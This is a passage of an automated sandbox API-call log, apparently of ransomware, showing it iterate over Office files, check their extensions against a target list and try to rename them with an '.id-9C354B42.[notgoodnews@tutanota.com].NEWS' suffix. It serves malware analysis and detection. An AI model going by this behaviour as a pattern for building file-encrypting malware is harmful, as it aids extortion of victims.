Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.839] lstrlenW (lpString=".doc") returned 4 [0219.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.839] lstrlenW (lpString=".docx") returned 5 [0219.840] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0219.840] lstrlenW (lpString=".pdf") returned 4 [0219.840] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.840] lstrlenW (lpString=".xls") returned 4 [0219.840] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.840] lstrlenW (lpString=".xlsx") returned 5 [0219.840] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0219.840] lstrlenW (lpString=".ppt") returned 4 [0219.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.840] lstrlenW (lpString=".zip") returned 4 [0219.840] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.840] lstrlenW (lpString=".rar") returned 4 [0219.841] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.841] lstrlenW (lpString=".bz2") returned 4 [0219.841] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.841] lstrlenW (lpString=".7z") returned 3 [0219.841] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.841] lstrlenW (lpString=".dbf") returned 4 [0219.841] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.841] lstrlenW (lpString=".1cd") returned 4 [0219.841] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.842] lstrlenW (lpString=".jpg") returned 4 [0219.842] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.842] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.843] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0219.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.843] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=2173696) returned 1 [0219.844] CloseHandle (hObject=0x324) returned 1 [0219.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0219.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.845] lstrlenW (lpString=".doc") returned 4 [0219.845] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.845] lstrlenW (lpString=".docx") returned 5 [0219.845] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0219.845] lstrlenW (lpString=".pdf") returned 4 [0219.845] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.845] lstrlenW (lpString=".xls") returned 4 [0219.845] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.845] lstrlenW (lpString=".xlsx") returned 5 [0219.845] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0219.846] lstrlenW (lpString=".ppt") returned 4 [0219.846] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.846] lstrlenW (lpString=".zip") returned 4 [0219.846] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.846] lstrlenW (lpString=".rar") returned 4 [0219.846] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.846] lstrlenW (lpString=".bz2") returned 4 [0219.846] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.846] lstrlenW (lpString=".7z") returned 3 [0219.846] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.847] lstrlenW (lpString=".dbf") returned 4 [0219.847] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.847] lstrlenW (lpString=".1cd") returned 4 [0219.847] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.847] lstrlenW (lpString=".jpg") returned 4 [0219.847] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.847] lstrlenW (lpString=".doc") returned 4 [0219.847] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.848] lstrlenW (lpString=".docx") returned 5 [0219.848] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0219.848] lstrlenW (lpString=".pdf") returned 4 [0219.848] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.848] lstrlenW (lpString=".xls") returned 4 [0219.848] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.848] lstrlenW (lpString=".xlsx") returned 5 [0219.848] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0219.848] lstrlenW (lpString=".ppt") returned 4 [0219.848] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.848] lstrlenW (lpString=".zip") returned 4 [0219.849] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.849] lstrlenW (lpString=".rar") returned 4 [0219.849] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.849] lstrlenW (lpString=".bz2") returned 4 [0219.849] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.849] lstrlenW (lpString=".7z") returned 3 [0219.849] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.849] lstrlenW (lpString=".dbf") returned 4 [0219.849] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.849] lstrlenW (lpString=".1cd") returned 4 [0219.850] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0219.850] lstrlenW (lpString=".jpg") returned 4 [0219.850] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.850] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0219.850] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0219.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.857] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=15712) returned 1 [0219.857] CloseHandle (hObject=0x324) returned 1 [0219.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0219.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.945] lstrlenW (lpString=".doc") returned 4 [0219.945] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0219.945] lstrlenW (lpString=".docx") returned 5 [0219.945] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0219.945] lstrlenW (lpString=".pdf") returned 4 [0219.945] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0219.945] lstrlenW (lpString=".xls") returned 4 [0219.945] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0219.945] lstrlenW (lpString=".xlsx") returned 5 [0219.946] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0219.946] lstrlenW (lpString=".ppt") returned 4 [0219.946] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0219.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.946] lstrlenW (lpString=".zip") returned 4 [0219.946] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0219.946] lstrlenW (lpString=".rar") returned 4 [0219.946] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0219.946] lstrlenW (lpString=".bz2") returned 4 [0219.946] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0219.946] lstrlenW (lpString=".7z") returned 3 [0219.946] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0219.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.947] lstrlenW (lpString=".dbf") returned 4 [0219.947] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0219.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.947] lstrlenW (lpString=".1cd") returned 4 [0219.947] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0219.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.947] lstrlenW (lpString=".jpg") returned 4 [0219.947] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0219.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.948] lstrlenW (lpString=".doc") returned 4 [0219.948] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0219.948] lstrlenW (lpString=".docx") returned 5 [0219.948] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0219.948] lstrlenW (lpString=".pdf") returned 4 [0219.948] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0219.948] lstrlenW (lpString=".xls") returned 4 [0219.948] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0219.948] lstrlenW (lpString=".xlsx") returned 5 [0219.948] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0219.948] lstrlenW (lpString=".ppt") returned 4 [0219.948] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0219.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.949] lstrlenW (lpString=".zip") returned 4 [0219.949] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0219.949] lstrlenW (lpString=".rar") returned 4 [0219.949] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0219.949] lstrlenW (lpString=".bz2") returned 4 [0219.949] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0219.949] lstrlenW (lpString=".7z") returned 3 [0219.949] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0219.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.949] lstrlenW (lpString=".dbf") returned 4 [0219.949] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0219.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.950] lstrlenW (lpString=".1cd") returned 4 [0219.950] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0219.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0219.950] lstrlenW (lpString=".jpg") returned 4 [0219.950] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0219.950] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0219.951] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0219.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0219.951] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=4925184) returned 1 [0219.951] CloseHandle (hObject=0x30c) returned 1 [0219.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0219.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.953] lstrlenW (lpString=".doc") returned 4 [0219.953] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0219.953] lstrlenW (lpString=".docx") returned 5 [0219.953] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0219.953] lstrlenW (lpString=".pdf") returned 4 [0219.953] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0219.954] lstrlenW (lpString=".xls") returned 4 [0219.954] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0219.954] lstrlenW (lpString=".xlsx") returned 5 [0219.954] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0219.954] lstrlenW (lpString=".ppt") returned 4 [0219.954] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0219.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.954] lstrlenW (lpString=".zip") returned 4 [0219.954] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0219.954] lstrlenW (lpString=".rar") returned 4 [0219.954] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0219.954] lstrlenW (lpString=".bz2") returned 4 [0219.954] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0219.955] lstrlenW (lpString=".7z") returned 3 [0219.955] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0219.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.955] lstrlenW (lpString=".dbf") returned 4 [0219.955] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0219.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.955] lstrlenW (lpString=".1cd") returned 4 [0219.955] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0219.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.955] lstrlenW (lpString=".jpg") returned 4 [0219.955] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0219.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.956] lstrlenW (lpString=".doc") returned 4 [0219.956] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0219.956] lstrlenW (lpString=".docx") returned 5 [0219.956] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0219.956] lstrlenW (lpString=".pdf") returned 4 [0219.956] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0219.956] lstrlenW (lpString=".xls") returned 4 [0219.956] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0219.957] lstrlenW (lpString=".xlsx") returned 5 [0219.957] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0219.957] lstrlenW (lpString=".ppt") returned 4 [0219.957] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0219.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.957] lstrlenW (lpString=".zip") returned 4 [0219.957] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0219.957] lstrlenW (lpString=".rar") returned 4 [0219.957] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0219.957] lstrlenW (lpString=".bz2") returned 4 [0219.957] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0219.957] lstrlenW (lpString=".7z") returned 3 [0219.957] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.958] lstrlenW (lpString=".dbf") returned 4 [0219.958] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.958] lstrlenW (lpString=".1cd") returned 4 [0219.958] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0219.958] lstrlenW (lpString=".jpg") returned 4 [0219.958] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0219.959] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.959] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0219.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0219.960] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=146192) returned 1 [0219.960] CloseHandle (hObject=0x30c) returned 1 [0219.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0219.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.961] lstrlenW (lpString=".doc") returned 4 [0219.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.961] lstrlenW (lpString=".docx") returned 5 [0219.961] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0219.961] lstrlenW (lpString=".pdf") returned 4 [0219.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.961] lstrlenW (lpString=".xls") returned 4 [0219.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.961] lstrlenW (lpString=".xlsx") returned 5 [0219.961] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0219.961] lstrlenW (lpString=".ppt") returned 4 [0219.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.962] lstrlenW (lpString=".zip") returned 4 [0219.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.962] lstrlenW (lpString=".rar") returned 4 [0219.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.962] lstrlenW (lpString=".bz2") returned 4 [0219.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.962] lstrlenW (lpString=".7z") returned 3 [0219.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.963] lstrlenW (lpString=".dbf") returned 4 [0219.963] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.963] lstrlenW (lpString=".1cd") returned 4 [0219.963] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.963] lstrlenW (lpString=".jpg") returned 4 [0219.963] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.963] lstrlenW (lpString=".doc") returned 4 [0219.963] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.964] lstrlenW (lpString=".docx") returned 5 [0219.964] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0219.964] lstrlenW (lpString=".pdf") returned 4 [0219.964] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.964] lstrlenW (lpString=".xls") returned 4 [0219.964] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.964] lstrlenW (lpString=".xlsx") returned 5 [0219.964] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") 